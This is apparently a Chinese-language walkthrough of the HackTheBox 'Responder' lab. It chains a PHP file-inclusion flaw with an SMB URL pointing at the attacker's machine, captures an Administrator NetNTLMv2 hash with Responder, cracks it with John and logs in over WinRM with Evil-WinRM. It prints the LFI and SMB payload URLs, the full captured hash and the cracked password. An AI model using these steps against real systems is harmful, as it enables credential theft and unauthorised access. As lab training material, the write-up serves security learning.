HTB_Responder练习记录——文件包含漏洞 WinRM 5985
目标ip: 10.129.242.196
一、介绍
大多数组织使用 Active Directory 来设置其 Windows 域网络。Microsoft 使用 NTLM(New Technology LAN Manager) & Kerberos 提供身份验证服务。尽管存在已知漏洞,NTLM 仍然在新系统上广泛部署,以保持与旧版客户端和服务器的兼容性。
扫描端口:sudo nmap -sV 10.129.242.196
Nmap 如何确定端口上运行的服务?
Nmap 使用包含知名服务的 port-services 数据库来确定特定端口上运行的服务。之后,它还会向该端口发送一些特定于服务的请求,以确定服务的版本及其附加信息。
Windows 远程管理 (WinRM) 5985/tcp 是 Windows 原生内置的远程管理协议,它主要使用简单对象访问协议 (SOP) 与远程计算机、服务器以及操作系统和应用程序进行交互。WinRM 允许用户:
-
与主机进行远程通信和交互。
-
在非本地但可通过网络访问的系统上远程执行命令。
-
从远程位置监控、管理和配置服务器、操作系统和客户端机器。
这意味着如果我们可以找到具有远程管理权限的用户的凭据(通常是用户名和密码),我们就有可能在主机上获得 PowerShell shell。
二、信息收集
浏览器输入10.129.242.196:
添加本地域名解析:
echo "10.129.242.196 unika.htb" | sudo tee -a /etc/hosts
再访问:
试试LFI——任意目录读取windows本地域名解析文件:
http://unika.htb/index.php?page=../../windows/system32/drivers/etc/hosts
在本例中,文件包含之所以能够实现,是因为后端使用了 PHP 的 include() 方法来处理 URL 参数页面,以便为不同语言提供不同的网页。由于该页面参数没有进行适当的过滤,我们得以传递恶意输入,从而查看内部系统文件。
如果我们选择 SMB 之类的协议,Windows 会尝试对我们的计算机进行身份验证,这样我们就可以捕获 NetNTLMv2 攻击。
什么是 NTLM(New Technology Lan Manager)?
NTLM 是由 Microsoft 创建的一组身份验证协议。它是一种challenge-response身份验证协议,用于对 Active Directory 域中的资源的客户端进行身份验证。
它是一种单点登录 (SSO),因为它允许用户在登录时仅提供一次底层身份验证因素。
-
哈希函数是一种单向函数,它接受任意数量的数据并返回固定大小的值。
-
NTHash 是用于在 Windows 系统 SAM 数据库和域控制器上存储密码的算法的输出。NTHash 通常被称为 NTLM 哈希,甚至简称为 NTLM,这很容易引起误解/混淆。
-
当 NTLM 协议想要通过网络进行身份验证时,它会使用如上所述的质询/响应模型。NetNTLMv2 质询/响应是一个经过特殊格式化的字符串,包含质询和响应。这通常被称为 NetNTLMv2 哈希,但它实际上并不是哈希。您会看到 NetNTLMv2 对象被称为 NTLMv2,甚至容易混淆地被称为 NTLM。
在 PHP 配置文件 php.ini 中,“allow_url_include”包装器默认设置为“Off”,表示 PHP 不会加载远程 HTTP 或 FTP URL,以防止远程文件包含攻击。但是,即使 allow_url_include 和 allow_url_fopen 设置为“Off”,PHP 也不会阻止 SMB URL 的加载。
三、Responder捕获challenge
Responder 如何工作?
Responder 可以发起多种不同类型的攻击,但在本例中,它会设置一个恶意的 SMB 服务器。当目标计算机尝试对该服务器执行 NTLM 身份验证时,Responder 会发回一个challenge,让服务器使用用户密码进行加密。当服务器响应时,Responder 将使用该challenge和加密的响应生成 NetNTLMv2。虽然我们无法逆向 NetNTLMv2,但我们可以尝试许多不同的常用密码,看看是否有任何密码会生成相同的质询-响应,如果找到一个,我们就知道这就是密码。这通常被称为哈希破解,我们将使用一个名为 John The Ripper 的程序来实现。
将 Responder 存储库克隆到本地机器:
git clone https://github.com/lgandx/Responder
配置虚拟机共享主机VPN连接:
cd /etc/profile.d
touch proxy.sh
source proxy.sh
参考文章:
https://blog.csdn.net/weixin_51380973/article/details/127323846
再git clone一下:
验证 Responder.conf 是否设置为监听 SMB 请求:
cat Responder.conf
启动 Responder,并使用 -I 标志传入要监听的接口:
sudo python3 Responder.py -I tun0
浏览器输入:http://unika.htb/index.php?page=//10.10.16.5/home/youthtour/%E6%A1%8C%E9%9D%A2/shentou
通过网络浏览器发送我们的有效负载后,我们收到无法加载请求的文件的错误。
但是在检查我们的监听响应服务器时,我们可以看到我们有一个针对管理员用户的 NetNTLMv。
四、哈希破解
我们可以将哈希值转储到文件中,并尝试使用 john (密码哈希破解实用程序)来破解它。
echo "Administrator::RESPONDER:eea84670ce9128b3:333995E0FA4D696552647AF4D3452396:01010000000000000031669D1519DC014519118ACFE4CE6C00000000020008004B0048005400530001001E00570049004E002D00350052004100580036004B0032004D004D005400320004003400570049004E002D00350052004100580036004B0032004D004D00540032002E004B004800540053002E004C004F00430041004C00030014004B004800540053002E004C004F00430041004C00050014004B004800540053002E004C004F00430041004C00070008000031669D1519DC0106000400020000000800300030000000000000000100000000200000DCB040074567EEF0947957A8F5502B49A3D73864D8583FEA72224AC09D92D8AA0A0010000000000000000000000000000000000009001E0063006900660073002F00310030002E00310030002E00310036002E0035000000000000000000" > hash.txt
我们将哈希文件传递给 john,并破解Administrator帐户的密码。哈希类型由 john 命令行工具自动识别。
john -w=/usr/share/wordlists/rockyou.txt hash.txt
五、WinRM
我们将连接到目标上的 WinRM 服务并尝试获取会话。由于 Linux 默认未安装 PowerShell,因此我们将使用专为此类场景设计的工具 Evil-WinRM。
evil-winrm -i 10.129.242.196 -u Administrator -p badminton
在C:\Users\mike\Desktop\flag.txt下用type命令查看flag.txt。
思考:只要网站使用php语言且有文件包含漏洞,就可以用smb url了吗?